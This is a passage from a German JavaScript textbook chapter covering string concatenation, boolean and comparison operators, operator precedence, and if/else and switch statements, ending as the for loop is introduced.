                    Erfahrungsgemäß tun sich angehende Programmierer*innen mit dem Verbinden zweier Strings oftmals (sehr) schwer, auch wenn es im ersten Moment ganz easy und leicht zu verstehen aussieht. Im Wesentlichen geht es tatsächlich um nicht mehr, als zwei Strings zu einem gemeinsamen String zu verbinden, wobei durch mehrmaliges Anwenden auch mehrere Strings miteinander verbunden werden können:

                    "abc" + "def" + "ghi" ergibt "abcdefghi".

                    Ob diese Strings nun in Variablen versteckt sind oder direkt als Texte (umschlossen von Anführungszeichen) geschrieben werden, ist völlig irrelevant. Natürlich können (wie im obigen Beispiel let name2 = vn + " " + nn; angedeutet) auch Strings und Variablen(-inhalte) gemischt werden (siehe Abbildung 7.15).

                    Konkatenationen sind in jeder Programmiersprache ein sehr (sehr) häufiger Anwendungsfall, und für Webtechnologien gilt das umso mehr. Aus diesem Grund sollten Sie sich mit ihnen vertraut machen – Sie werden sie benötigen.

                    
                        [image: Die Konkatenation, also das Verbinden zweier Strings, in JavaScript und PHP. Während in JavaScript (leider) das Symbol »+« verwendet wird, setzt PHP auf den Punkt ».«.]

                        Abbildung 7.15    
            Die Konkatenation, also das Verbinden zweier Strings, in JavaScript und PHP. Während in JavaScript (leider) das Symbol »+« verwendet wird, setzt PHP auf den Punkt ».«.

                    
                    
                        [»]  Anmerkung: Die Konkatenation in JavaScript

                        Wie schon erwähnt, wird leider für die Konkatenation ebenfalls das Plus-Symbol + verwendet (das ja auch das Additionssymbol für numerische Operationen ist). Das ist im Hinblick auf die Lesbarkeit bzw. die Unterscheidbarkeit der (numerischen) Addition einerseits und der Konkatenation andererseits eher zweifelhaft, da man ohne Kenntnis des vorangegangenen Codes nicht unterscheiden kann, ob es sich um eine (numerische) Addition oder um eine Konkatenation von Strings handelt. Andere Programmiersprachen (wie etwa PHP) verwenden für die Konkatenation andere Zeichen, um keine Verwechslung aufkommen zu lassen.

                    

                    Im Fall von Strings existiert ein nicht unwesentlicher Spezialfall: Sollte ein String mit einem beliebigen anderen Datentyp verbunden werden, so entsteht wieder ein String:

                    let a = 17, b = "Uwe", e = true, c, d, f;
c = a + b; // → "17Uwe"
d = b + a; // → "Uwe17"
f = a + b + e; // → "17Uwetrue"


                    
                        	
                            Boolesche Werte: Da die boolesche Algebra die mathematische Logik darstellt, handelt es sich bei booleschen Verknüpfungsoperationen um logische Verknüpfungen, die insbesondere dann wichtig werden, wenn es beispielsweise um das Treffen von Entscheidungen geht. Denn nicht selten möchte man eine Entscheidung nicht nur von einer Bedingung, sondern von mehreren Bedingungen abhängig machen:

                            
                                	
                                    && AND-Verknüpfung: »Das eine UND das andere muss true sein, damit das Ergebnis der Verknüpfung den Wert true erhält.«

                                

                                	
                                    || OR-Verknüpfung: »Das eine ODER das andere (oder beide) muss/müssen true sein, damit das Ergebnis der Verknüpfung true ist.«

                                

                                	
                                    ! Negation (»NOT«): Sie erzeugt eine Umkehrung eines booleschen Wertes: Aus einem true wird ein false, und aus einem false wird ein true.

                                

                            

                        

                    

                    Auch hier gilt Potenz- vor Punkt- vor Strichrechnung, wobei die Negation die Potenzrechnung, AND die Punktrechnung und OR die Strichrechnung darstellt. Demnach ist ! stärker als && und dies wiederum stärker als ||. Die Klammersetzung ist auch im Falle der booleschen Operationen erlaubt.

                    Weil boolesche Werte lediglich true oder false sein können, werden die Ergebnisse von Verknüpfungen gerne in Form von Wertetabellen dargestellt (siehe Tabelle 7.2).

                    
                        
                            
                                	
                                    a

                                
                                	
                                    b

                                
                                	
                                    c = a && b

                                
                                	
                                    d = a || b

                                
                            

                        
                        
                            
                                	
                                    false

                                
                                	
                                    false

                                
                                	
                                    false

                                
                                	
                                    false

                                
                            

                            
                                	
                                    false

                                
                                	
                                    true

                                
                                	
                                    false

                                
                                	
                                    true

                                
                            

                            
                                	
                                    true

                                
                                	
                                    false

                                
                                	
                                    false

                                
                                	
                                    true

                                
                            

                            
                                	
                                    true

                                
                                	
                                    true

                                
                                	
                                    true

                                
                                	
                                    true

                                
                            

                        
                    

                    Tabelle 7.2    
            Boolesche Verknüpfungsoperationen in Form einer Wertetabelle

                    Boolesche Operationen kann man sich auch grafisch sehr gut vorstellen, indem man an Wasserleitungen oder den elektrischen Strom denkt. Versuchen wir’s mal mit einer Wasserleitung, in die einzelne Ventile eingebaut sind. Wenn ein Ventil geschlossen ist, sodass kein Wasser durchlaufen kann, so nennen wir diesen Wert false. Wenn hingegen das Ventil geöffnet ist und Wasser durchlaufen kann, meinen wir den Wert true:

                    
                        	
                            Ventil geschlossen (Wasser kann nicht durchfließen): false

                        

                        	
                            Ventil geöffnet (Wasser kann durchfließen): true

                        

                    

                    Grafisch lassen sich die logischen Operationen AND (&&) und OR (||) dann so darstellen wie in Abbildung 7.16 und Abbildung 7.17.

                    
                        [image: &&, das logische Und]

                        Abbildung 7.16    
            &&, das logische Und

                    
                    
                        [image: ||, das logische Oder]

                        Abbildung 7.17    
            ||, das logische Oder

                    
                
                
                    Vergleichsoperationen

                    Wie der Name schon sagt, geht es nun um Vergleiche. Es werden die Inhalte von Variablen bzw. Werte direkt miteinander verglichen. Eine wichtige Konsequenz eines beliebigen Vergleiches ist: Das Ergebnis eines Vergleiches ist immer ein boolescher Wert (true / false), was natürlich nicht weiter verwunderlich ist, da es auf einen Vergleich ja immer eine Antwort geben muss. Vergleicht man beispielsweise, ob eine Zahl größer ist als eine andere, so möchte man als Antwort höchstwahrscheinlich ein »ja« (true) oder »nein« (false) erhalten – dazwischen sollte es eigentlich nichts geben ...

                    
                        	
                            Numerische Werte:

                            
                                	
                                    === Das dreifache Gleichheitszeichen stellt einen Vergleich auf Gleichheit zweier Werte bzw. Variableninhalte an:

                                    let x = 19, y = 27, z;

                                    z = x === y; ergibt als Ergebnis ein false, da die beiden Werte nicht gleich sind.

                                

                            

                            
                                	
                                    !== Ungleichheit; in diesem Fall wäre bei z = x !== y; der Wert true herausgekommen.

                                

                                	
                                    > größer, >= größer-gleich; z = x > y; → false, z = x >= y; → false

                                

                                	
                                    < kleiner, <= kleiner-gleich; z = x < y; → true, z = x <= y; → true

                                

                            

                        

                        	
                            Strings:

                            
                                	
                                    === Gleichheit

                                    let a = "Uwe", b = "Mutz", c;
c = a === b; → false, c = a === "Uwe"; → true 


                                

                            

                            
                                	
                                    !== Ungleichheit

                                    [»]  Strings und Größenvergleiche
Auch hier würde es theoretisch möglich sein, Strings nach ihrer »Größe« zu vergleichen. Jedoch basiert ein Größenvergleich bei Strings auf der ASCII-Tabelle, wo jedem Zeichen ein numerischer Wert zugewiesen ist, und nicht auf ihrer Länge (also auf der Anzahl an Zeichen in einem String; dafür stehen uns eigene/andere Möglichkeiten zur Verfügung). In aller Regel ist ein solcher Vergleich also wenig sinnvoll.


                                

                            

                        

                        	
                            Boolesche Werte:

                            
                                	
                                    === Gleichheit

                                

                                	
                                    !== Ungleichheit

                                

                            

                        

                    

                    Alternativ zum Vergleich mit === und !== könnten wir auch mit == und != vergleichen. Wo also ist der Unterschied? Überlegen wir uns, was geschieht, wenn wir Werte unterschiedlichen Typs miteinander vergleichen:

                    let a = 17, b = "17", c, d;
c = a == b;


                    Dieser Vergleich würde ein true ergeben. Der Grund liegt in der Möglichkeit der Typumwandlung, die dem Interpreter (Browser) erlaubt wird: Versucht man beispielsweise, einen String mit einer Zahl zu vergleichen, so erkennt der Interpreter die unterschiedlichen Typen und hat nun zwei Möglichkeiten, damit umzugehen:

                    
                        	
                            Die Zahl wird in einen String umgewandelt: Somit hat man es mit zwei Strings zu tun, die miteinander verglichen werden können: c = a==b ergibt c = 17=="17" und nach erfolgter Typumwandlung c = "17"=="17", was schlussendlich ein true ergibt, da die beiden Werte nun offensichtlich gleich sind.

                        

                        	
                            Der String wird in eine Zahl umgewandelt (sofern möglich): Auch das wäre hier möglich: c = a==b ergibt zunächst wieder c = 17=="17", jedoch nach einer erfolgten Typumwandlung c = 17==17, und das ergibt wiederum true.

                        

                    

                    Ein Vergleich mit einem doppelten Gleichheitszeichen erlaubt dem Browser eine Typumwandlung, weshalb man von einer »Wertgleichheit«, nicht jedoch von einer »Typgleichheit« spricht. Anders sieht die Sache aus, wenn wir ein dreifaches Gleichheitszeichen verwenden:

                    d = a === b;


                    Dieser Vergleich ergibt ein false, da nun die Typumwandlung nicht erlaubt wird und somit nicht nur die Werte, sondern auch die Typen gleich sein müssen. Aus diesem Grund spricht man bei diesem Vergleich von einer »Wert- und Typgleichheit«. Neben der Gleichheit kann auf gleiche Art und Weise auch die Ungleichheit geprüft werden:

                    
                        	
                            === Gleichheit von Wert und Typ, == Gleichheit der Werte

                        

                        	
                            !== Ungleichheit von Wert und/oder Typ, != Ungleichheit der Werte

                        

                    

                    Grundsätzlich ist der Vergleich auf Wert und Typ dem reinen Wertvergleich vorzuziehen. Dennoch muss man JavaScript im korrekten Kontext verstehen: JavaScript soll eine »Zusammenarbeit« mit HTML und CSS ermöglichen. Sowohl HTML als auch CSS sind textbasiert. Deutlich wird das etwa, wenn JavaScript Werte aus HTML-Formularen abfragen und verarbeiten soll: Der Inhalt von Formularfeldern ist (so gut wie) immer textbasiert, wie folgendes Beispiel zeigt. In ihm wird ein Formular verwendet, das einerseits den Vornamen (<input type="text" …>) und andererseits das Alter (<input type="number" …>) abfragt. Fragt man nach dem Typ der eingelesenen Werte, so erhalten wir dennoch beide Male die Info, dass es sich um einen String handelt.

                    <form onsubmit="return showData();">
  <label>
    Ihr Vorname:
    <input type="text" name="vorname">
  </label>
  <label>
    Ihr Alter:
    <input type="number" name="alter">
  </label>
  <input type="submit" value="absenden">
</form>


                    Beim Abschicken des Formulars werden die eingegebenen Daten in der Entwicklerkonsole ausgegeben (siehe Abbildung 7.18.)

                    
                        [image: In manchen Fällen ist eine Typumwandlung sogar erwünscht.]

                        Abbildung 7.18    
            In manchen Fällen ist eine Typumwandlung sogar erwünscht.

                    
                    In solchen Fällen wäre eine implizite Typumwandlung bei einem Vergleich sogar erwünscht.

                    Sehr oft benötigt man auch Operationen, um etwa Strings oder Kommazahlen in Ganzzahlen (let ganzzahl = parseInt(kommazahlOderString);) oder Kommazahlen umzuwandeln (let kommazahl = parseFloat(string);) oder um Zahlen zu runden:

                    
                        	
                            kaufmännisches Runden einer Zahl: let gerundet = Math.round(kommazahl);

                        

                        	
                            Abrunden einer Zahl: let abrunden = Math.floor(kommazahl);

                        

                        	
                            Aufrunden einer Zahl: let aufrunden = Math.ceil(kommazahl);

                        

                    

                    Fassen wir in Tabelle 7.3 noch einmal alles zusammen:

                    
                        
                            
                                	
                                    Name

                                
                                	
                                    Operation

                                
                                	
                                    Erklärung

                                
                                	
                                    Beispiel

                                
                                	
                                    Ergebnis

                                
                            

                        
                        
                            
                                	
                                    a = 30, b = 16, c = 3, d = '30',
vn = "Uwe", nn = Mutz", n,
x = true, y = false, z

                                
                            

                            
                                	
                                    (Wert-)Gleichheit

                                
                                	
                                    ==

                                
                                	
                                    Prüft, ob zwei Werte gleich sind.

                                
                                	
                                    c = a==b;
n = vn==nn;
z = x==y;

                                
                                	
                                    false (30 ist nicht dasselbe wie 16.)

                                
                            

                            
                                	
                                    (Wert-)Ungleichheit

                                
                                	
                                    !=

                                
                                	
                                    Prüft, ob zwei Werte nicht gleich sind.

                                
                                	
                                    c = a!=b;
n = vn!=nn;
z = x!=y;

                                
                                	
                                    true

                                
                            

                            
                                	
                                    Größer

                                
                                	
                                    >

                                
                                	
                                    Prüft, ob ein Wert größer als ein anderer ist.

                                
                                	
                                    c = a>b;

                                
                                	
                                    true (30 ist größer als 16.)

                                
                            

                            
                                	
                                    Größer-gleich

                                
                                	
                                    >=

                                
                                	
                                    Prüft, ob ein Wert größer oder gleich einem anderen Wert ist.

                                
                                	
                                    c = a>=b;

                                
                                	
                                    true

                                
                            

                            
                                	
                                    Kleiner

                                
                                	
                                    <

                                
                                	
                                    Prüft, ob ein Wert kleiner als ein anderer Wert ist.

                                
                                	
                                    c = a<b;

                                
                                	
                                    false

                                
                            

                            
                                	
                                    Kleiner-gleich

                                
                                	
                                    <=

                                
                                	
                                    Prüft, ob ein Wert kleiner oder gleich einem anderen Wert ist.

                                
                                	
                                    c = a<=b;

                                
                                	
                                    false

                                
                            

                            
                                	
                                    Wert- und Typgleichheit

                                
                                	
                                    ===

                                
                                	
                                    Prüft, ob zwei Werte denselben Wert und denselben Typ haben.

                                
                                	
                                    c = a===d;

                                
                                	
                                    false

                                
                            

                            
                                	
                                    Wert- und Typungleichheit

                                
                                	
                                    !==

                                
                                	
                                    Prüft, ob zwei Werte nicht denselben Wert oder Typ haben.

                                
                                	
                                    c = a!==d;

                                
                                	
                                    true

                                
                            

                        
                    

                    Tabelle 7.3    
            Die Vergleichsoperationen im Überblick

                
            
            
                Welche Operation ist stärker? – ein Blick auf die Wertigkeit von Operationen

                Wir unterscheiden folgende Wertigkeiten nach deren »Stärke«:

                
                    	
                        Numerische Operationen (wobei hier auch noch die Regel »Potenz- vor Punkt- vor Strichrechnung« zu beachten ist) sind die stärksten Operationen – sie werden als erste ausgewertet.

                    

                    	
                        Vergleichsoperationen kommen nach den numerischen Operationen, sind also nicht so stark.

                    

                    	
                        Logische Operationen sind die »schwächsten« Operationen.

                    

                

                Aber was bedeutet das für uns? Was heißt es, wenn eine Operation »stärker« oder »schwächer« ist? Ach ja: Die Klammersetzung gilt natürlich nach wie vor und muss demnach zuallererst beachtet werden.

                Betrachten wir folgendes Beispiel:

                let a = 23, b = 606, c = true, d = true, e;
e = d || b+1.2*a==312 && !(9-b/(4+13*a)>7);


                Würden wir bei diesem Code »wild drauflosrechnen«, so würden wir uns sehr wahrscheinlich in ein Desaster hineinmanövrieren. Also der Reihe nach:

                
                    	
                        Zunächst werden sämtliche Klammern separat betrachtet und verarbeitet, wobei innerhalb der Klammern gilt, dass zuerst die numerischen, dann die vergleichenden und zuletzt die logischen Operationen ausgewertet werden.

                        Die »innerste« Klammer ist (4+13*a), also lösen wir diese zuerst auf. Weil wir es hier mit einer Punkt- und einer Strichrechnung zu tun haben, müssen wir auch diese Regel beachten. Heißt also, 13*a wird zuerst berechnet, danach wird der Wert 4 hinzugezählt: 4+13*a = 4+13*23 = 4+299 = 303. Nun geht’s weiter, indem wir die Klammer (9-b/303>7) auflösen. Wieder starten wir mit der Punktrechnung, also b/303 = 606/303 = 2, danach setzen wir mit der Subtraktion fort: 9-b/303 = 9-2 = 7. Schlussendlich können wir unser Ergebnis mit der Zahl 7 vergleichen: 9-b/303>7 = 9-2>7 = 7>7, was ein false ergibt, da die Zahl 7 nicht größer ist als 7 (sondern gleich groß). Somit vereinfacht sich nach der Auflösung aller Klammern unsere Berechnung auf:

                        e = d || b+1.2*a==312 && !false;

                    

                    	
                        Nun fahren wir genauso fort, wie wir es auch innerhalb der Klammern getan haben: Zuerst betrachten wir alle numerischen Operationen, dann alle Vergleiche, dann alle logischen Operationen, und das jeweils unter Berücksichtigung von »Punkt- vor Strichrechnung«:

                        
                            	
                                1.2*a = 1.2*23 = 27.6

                            

                            	
                                b+1.2*a = b+27.6 = 303+27.6 = 330.6

                            

                            	
                                b+1.2*a==312 = 330.6==312 = false

                            

                            	
                                b+1.2*a==312 && !false = false && !false = false && true = false

                            

                            	
                                d || b+1.2*a==312 && !false = d || false = true || false = true

                            

                        

                    

                

                Das Ergebnis unserer Berechnung ist also true.

            
        
        
            7.4.2    Wir treffen Entscheidungen: Bedingungen

            Bedingungen (Conditions) sind Konstrukte, die bereits in den ersten (höheren) Programmiersprachen zu finden waren. Mit ihnen wird es möglich, die Ausführung von Codefragmenten von einer Entscheidung abhängig zu machen – wie auch immer die aussehen mag. In vielen Fällen ist eine solche Entscheidung ein Vergleich oder etwas Ähnliches – ganz nach dem geläufigen Prinzip: »Wenn dieses oder jenes zutrifft, dann mache ich das. Ansonsten mache ich etwas anderes oder gar nichts.« Solche »Wenn-dann-sonst«-Konstrukte kennt man auch aus Tabellenkalkulationsprogrammen wie Excel.

            Eine andere Möglichkeit einer Bedingung wäre etwa eine Art »Fallunterscheidung«, bei der man mehrere mögliche »Fälle« überprüft. Sollte einer dieser Fälle eintreten, so wird ein Codefragment ausgeführt. Sollte keiner der Fälle eintreten, so kann man immer noch entscheiden, ob man gar nichts macht oder einen »Standardfall« ausführt.

            
                Die if-Anweisung

                Die if-Anweisung stellt in Form einer Weggabelung die erste der zuvor erwähnten Möglichkeiten dar: Basierend auf einer Entscheidung (die true oder false ergeben kann) geht man einen oder einen anderen Weg. Eine solche Entscheidung kann sein:

                
                    	
                        ein Vergleich von Werten, Variablen usw., denn das Ergebnis eines Vergleichs ist immer ein boolescher Wert.

                    

                    	
                        der Inhalt einer booleschen Variable oder ein boolescher Wert selbst

                    

                    	
                        eine logische Verknüpfung

                    

                    	
                        bzw. alles Weitere, das einen booleschen Wert ergibt/erzeugt oder von JavaScript in einen solchen umgewandelt wird

                    

                

                Wesentlich im Fall der if-Anweisung ist, dass nur einer der beiden Code-Blöcke (der if-Teil oder der else-Teil) ausgeführt wird, jedoch nicht beide Blöcke gleichzeitig. Ein »Block« ist jeweils der Code, der sich zwischen den geschwungenen Klammern { … } im if- oder im else-Teil befindet.

                Die allgemeine Syntax ist wie folgt:

                if(Entscheidung) {
  //Code, falls die Entscheidung true ergeben hat
}
else {
  //Code, falls die Entscheidung false ergeben hat
}


                Listing 7.8    
            Das Konstrukt der »if«-Anweisung

                Welcher Code innerhalb der Blöcke ausgeführt wird, ist (fast) unbeschränkt. Beispielsweise kann sich innerhalb eines solchen Blockes wiederum eine weitere if-Anweisung befinden. (In diesem Fall würde man dann von einer verschachtelten if-Anweisung sprechen.)

                
                    [»]  else darf entfallen

                    Der else-Teil bei if-Anweisungen darf entfallen (er ist demnach optional); manchmal ist man nur an einer positiven Entscheidung interessiert (also an einer Entscheidung, die true ergibt) und macht im negativen Fall gar nichts.

                

                Ein einfaches Beispiel für eine if-Anweisung würde so aussehen:

                let a = 17, b = 23;
if(a*b-24>200) { console.log("Das Ergebnis ist größer als 200"); }
else { console.log("Das Ergebnis ist nicht größer als 200"); }


                Der Ablauf des Codes ist wie folgt:

                
                    	
                        Der Variable a wird der (numerische) Wert 17, der Variable b der (numerische) Wert 23 zugewiesen.

                    

                    	
                        Es erfolgt eine Berechnung, danach ein Vergleich:

                        
                            	
                                a*b = 17*23 = 391

                            

                            	
                                a*b-24 = 391-24 = 367

                            

                            	
                                a*b-24>200 = 367>200 → true

                            

                        

                    

                    	
                        Weil das Ergebnis des Vergleichs ein true ergibt, wird der if-Block der Anweisung ausgeführt: console.log("Das Ergebnis ist größer als 200"), wodurch der entsprechende Text »Das Ergebnis ist größer als 200« in der Entwicklerkonsole ausgegeben wird.

                    

                

                Beginnend mit den Bedingungen ist es für viele angehende Programmierer*innen sehr hilfreich, mit Flussdiagrammen zu arbeiten, um ein besseres Verständnis von Code zu entwickeln. Flussdiagramme sind an sich recht einfach verständlich – mit ihnen gelingt es, den Ablauf von Code grafisch darzustellen. Hierbei werden lediglich die zwei Symbole aus Abbildung 7.19 und Abbildung 7.20 verwendet (abgesehen von Beginn und Ende eines Codes, die jeweils mit einem horizontalen Strich dargestellt werden):

                
                    	
                        Codeblock: Der darin abgebildete (Pseudo-)Code soll ausgeführt werden.

                        
                            [image: Codeblock]

                            Abbildung 7.19    
            Codeblock

                        
                    

                    	
                        Entscheidung: Die Entscheidung kann true oder false ausfallen – je nach Entscheidung werden dann unterschiedliche Wege im Diagramm beschritten, andere werden ausgelassen.

                        
                            [image: Entscheidung]

                            Abbildung 7.20    
            Entscheidung

                        
                    

                

                Betrachten wir beispielsweise das vorangegangene Beispiel, so würde dies das Flussdiagramm aus Abbildung 7.21 ergeben.

                
                    [image: Ein erstes Flussdiagramm: Es stellt den obigen Code grafisch dar.]

                    Abbildung 7.21    
            Ein erstes Flussdiagramm: Es stellt den obigen Code grafisch dar.

                
                Die Idee hinter dem Flussdiagramm ist es, den Codeablauf von seinem Beginn bis zu seinem Ende zu verfolgen. Starten wir also bei »Beginn«, wo den Variablen a und b die dargestellten Werte zugewiesen werden. Wie Sie sehen, verzichtet man auf sprachenspezifische Details, um das Diagramm sprachenunabhängig zu halten. (Dieses Flussdiagramm könnte auch zu einem PHP-Programm gehören.)

                Danach wird die Entscheidung getroffen, ob a*b-24 größer als 200 ist. Sollte dies der Fall sein, so wird der Weg, der mit »ja« beschriftet ist, verfolgt; sollte dies nicht der Fall sein, so geht man den mit »nein« beschrifteten Weg. Dementsprechend wird entweder »Das Ergebnis ist größer als 200« oder »Das Ergebnis ist nicht größer als 200« ausgegeben. Wie die Ausgabe im Detail erfolgt, ist nicht angegeben.

                Im Falle der if-Anweisung existiert eine recht beliebte Kurzschreibweise, die immer dann zum Einsatz kommen darf, wenn dadurch die Übersichtlichkeit des Codes nicht beeinträchtigt wird. Anstelle von

                if(a*b-24>200) { console.log("Das Ergebnis ist größer als 200"); }
else { console.log("Das Ergebnis ist nicht größer als 200"); }


                könnte man auch schreiben:

                a*b-24>200 ? console.log("Das Ergebnis ist größer als 200") : console.log("Das Ergebnis ist nicht größer als 200");


                Listing 7.9    
            Die Kurzschreibweise einer if-Anweisung

                Zunächst wird also die Bedingung geschrieben, danach folgt ein Fragezeichen »?«. Auf das Fragezeichen folgt der Teil des Codes, wo die Bedingung ein true ergibt, danach notiert man einen Doppelpunkt »:«, und dann wird der Teil angegeben, wo die Bedingung ein false ergibt. Man nennt dies einen Tenär-Operator, da er drei Operanden vereint: die Bedingung, den if- und den else-Teil.

                Folgend finden Sie ein Beispiel zur Illustration einer if-Anweisung ohne else-Teil.

                
                    [zB]  Rabattkarte

                    Sie gehen bei Billa, einem doch recht bekannten Lebensmitteldiscounter, einkaufen. An der Kasse werden Sie gefragt, ob Sie eine Billa-Karte besitzen. Falls Sie eine solche Karte besitzen, wird die Karte für einen weiteren Rabatt verwendet und über den Scanner gezogen. Falls nicht, passiert nichts:

                    let habeBillaKarte = true;
if(habeBillaKarte==true) {
  console.log("Billa-Karte wird über den Scanner gezogen");
} 


                    Obiges Beispiel könnte man vereinfachen, indem man folgenden Code schreibt:

                    let habeBillaKarte = true;
if(habeBillaKarte) {
  console.log("Billa-Karte wird über den Scanner gezogen");
} 


                    Offensichtlich ist der Vergleich der Variable habeBillaKarte mit dem Wert true entfallen und es wird nur noch der Wert der Variablen betrachtet, der ein boolescher Wert ist. Der Grund für den Wegfall des Vergleichs ist folgende Überlegung: Eine boolesche Variable kann lediglich zwei Werte (true | false) besitzen, wodurch im Falle des Vergleichs von oben folgende Kombinationen möglich sind:

                    
                        
                            
                                	
                                    Inhalt von
habeBillaKarte

                                
                                	
                                    true

                                
                                	
                                    Vergleich
habeBillaKarte==true

                                
                            

                        
                        
                            
                                	
                                    false

                                
                                	
                                    true

                                
                                	
                                    false

                                
                            

                            
                                	
                                    true

                                
                                	
                                    true

                                
                                	
                                    true

                                
                            

                        
                    

                    Wie Sie sehen, ergibt der Vergleich des Inhalts von habeBillaKarte mit true immer genau den Wert, den die Variable selbst besitzt. Weshalb also überhaupt den Vergleich anstellen, wenn man gleich direkt in der Variable nachsehen kann? In Abschnitt 7.13, »Robuste Programmierung – der Umgang mit Fehlern«, werden Sie noch eine Reihe weiterer Anwendungen solcher Überprüfungen kennenlernen.

                

                Ein weiteres, jedoch schlechtes Beispiel für die Anwendung einer if-Anweisung wäre das folgende. Die Programmierung dieses Beispiels ist deswegen nicht ideal, weil wir (a) eine sehr starke Verschachtelung von if-Anweisungen produzieren und es (b) eine bessere Form einer Bedingung für diesen Fall gibt (die switch-Anweisung, die Sie in Kürze kennenlernen werden).

                
                    [zB]  Verschachtelte if-Anweisung

                    Angenommen, in einer Variable vn steht der Vorname einer Person. Für ein paar ausgewählte Personen haben wir spezielle Begrüßungen, die wir in der Entwicklerkonsole ausgeben wollen:

                    
                        	
                            Uwe: »Hallo Uwe«

                        

                        	
                            Silvia: »Hi Silvia«

                        

                        	
                            Alexander: »Hallo, lieber Alexander«

                        

                        	
                            Thomas: »Servus Thomas«

                        

                    

                    if(vn=="Uwe") { console.log("Hallo Uwe"); }
else {
  if(vn=="Silvia") { console.log("Hi Silvia"); }
  else {
    if(vn=="Alexander") { console.log("Hallo, lieber Alexander"); }
    else {
      if(vn=="Thomas") { console.log("Servus Thomas"); }
    }
  }
} 


                    Listing 7.10    
            Je nach Wert von »vn« gibt die »switch«-Anweisung unterschiedliche Meldungen in der Entwicklerkonsole aus.

                

                Möglich ist diese Form der Programmierung natürlich, und in den meisten Fällen zählt vorrangig, ob ein Code funktioniert oder nicht. Dennoch haben wir das Ziel, guten Code zu schreiben, und der obige Code ist nunmal nicht gut.

                
                    [»]  Anmerkung für bereits fortgeschrittene Programmierer*innen

                    Anders als bei diversen anderen Programmiersprachen existiert im Rahmen von JavaScript kein elseif. Womit man sich dennoch behelfen könnte, wäre das Weglassen der Blockbereiche im else-Teil:

                    if(vn=="Uwe") { console.log("Hallo Uwe"); }
else if(vn=="Silvia") { console.log("Hi Silvia"); }
else if(vn=="Alexander") { console.log("Hallo, lieber Alexander"); }
else if(vn=="Thomas") { console.log("Servus Thomas"); } 


                

                Abbildung 7.22 zeigt das zugehörige Flussdiagramm.

            
            
                Die switch-Anweisung

                Wie das vorangegangene Beispiel zeigt, benötigt man entgegen der bisher verwendeten Weggabelung (also der if-Anweisung) immer wieder einmal eine Möglichkeit, um den Inhalt einer Variablen auf mehrere mögliche Werte hin zu überprüfen. Dies nennt man eine Fallunterscheidung, wobei man die einzelnen Fälle als Cases bezeichnet. Damit sind wir bei der zweiten Bedingung angekommen, die ich im einleitenden Teil erwähnt hatte.

                switch(zu überprüfende(r) Variable/Wert) {
  case "Wert 1":
    //Code für Wert 1
    break;
  case "Wert 2":
    //Code für Wert 2
    break;
  case "Wert 3":
    //Code für Wert 3
    break;
  ...
  default:
    //Code für all diejenigen Fälle, die oben nicht aufgelistet sind
}


                Listing 7.11    
            Das Konstrukt einer »switch«-Anweisung

                
                    [image: Das Flussdiagramm für eine verschachtelte »if«-Anweisung kann schon etwas größer werden.]

                    Abbildung 7.22    
            Das Flussdiagramm für eine verschachtelte »if«-Anweisung kann schon etwas größer werden.

                
                
                    [»]  default darf entfallen

                    Der default-Teil darf entfallen, wenn man »nichts tun« möchte, sollte keiner der aufgelisteten Fälle eintreten. Somit ist der default-Teil also wiederum optional.

                

                Hier sehen Sie die switch-Variante zum obigen Beispiel:

                switch(vn) {
  case "Uwe":
    console.log("Hallo Uwe");
    break;
  case "Silvia":
    console.log("Hi Silvia");
    break;
  case "Alexander":
    console.log("Hallo, lieber Alexander");
    break;
  case "Thomas":
    console.log("Servus Thomas");
    break;
}


                Üblicherweise wird ein jeder case durch ein break abgeschlossen, wodurch die weitere Abarbeitung der folgenden Cases verhindert wird. Sollte das break nicht verwendet werden, werden die Codes der folgenden Cases ebenfalls abgearbeitet. Das Flussdiagramm hierfür ist übrigens identisch mit demjenigen in Abbildung 7.22. Das ist auch nicht weiter verwunderlich, handelt es sich doch (in Hinblick auf die Funktionsweise) um identischen Code.

                Möchten Sie für mehrere unterschiedliche Cases denselben Code ausführen lassen, so schreiben Sie die einzelnen Cases direkt nacheinander:

                switch(vn) {
  case "Uwe":
  case "UWE":
  case "uwe":
    console.log("Hallo Uwe");
    break;
  ...
}


                Listing 7.12    
            Mehrere Cases für denselben Codeblock

                Im obigen Code wird für die Fälle, dass in der Variablen vn die Werte "Uwe", "UWE" oder "uwe" stehen, derselbe Code (console.log("Hallo Uwe");) ausgeführt.

            
        
        
            7.4.3    Schleifen lassen Code im Kreis laufen

            Schleifen werden verwendet, um ein Codefragment (oder auch einen Codeblock) mehrfach hintereinander (ohne Verzögerung) auszuführen. Hierbei muss man sich die Frage stellen, ob bekannt ist, wie oft die Schleife durchlaufen wird, oder nicht. Dementsprechend unterscheidet man zwei Arten von Schleifen:

            
                	
                    Schleifen mit einer fixen Anzahl an Durchläufen oder

                

                	
                    Schleifen mit einer variablen (also zunächst unbekannten) Anzahl an Wiederholungen

                

            

            Bei der ersten Schleife wissen wir als Entwickler also, wie viele Durchläufe sie machen wird (und können auch abschätzen, wie lange das in etwa dauern wird), bei der zweiten Schleife können wir das nicht. Im schlimmsten Fall endet sie nie – dann spricht man von einer Endlosschleife, die als Konsequenz hat, dass der Browser ins Stocken gerät oder abstürzt.

            
                Schleifen mit fixer Anzahl an Durchläufen: for

                Im Fall von Schleifen mit fixer Anzahl an Durchläufen wissen wir also, wie oft sie durchlaufen sollen (5-mal, 10-mal, ...), da sie üblicherweise mit einem Zähler arbeiten (zählergesteuerte Schleifen). Dennoch wird es uns die klassische Vertreterin solcher Schleifen – die for-Schleife – nicht so einfach machen, wie wir gleich sehen werden.

                Die Idee der for-Schleife ist, dass sie eine Variable zum Mitzählen verwendet, wobei aber nicht notwendigerweise die Anzahl der Schleifendurchläufe gezählt wird, sondern der Wert der (Zähl-)Variablen wird am Ende eines jeden Schleifendurchlaufs verändert (erhöht oder verringert), wie Sie gleich sehen werden.

                Die for-Schleife basiert auf drei Informationen:

                
                    	
                        Zählvariable: Man definiert eine Zählvariable und weist dieser einen Startwert zu, beispielsweise mittels let i = 0;. Sie dient dazu, »mitzählen« zu können.

                    

                    	
                        Durchlaufbedingung: Hiermit wird bestimmt, ob eine Schleife durchlaufen darf oder nicht: Ist die Durchlaufbedingung nicht erfüllt, bricht die Schleife ab und ist somit zu Ende. Die Durchlaufbedingung wird zu Beginn eines jeden Schleifendurchlaufs geprüft.

                    

                    	
                        Veränderung der Zählvariablen: Am Ende eines jeden Schleifendurchlaufs wird eine Änderung am Wert der Zählvariablen vorgenommen.

                    

                

                Die Syntax der for-Schleife ist wie folgt:

                for(let i = 0; i<100; i++) {
  //Codeblock der Schleife, der wiederholt ausgeführt werden soll
}


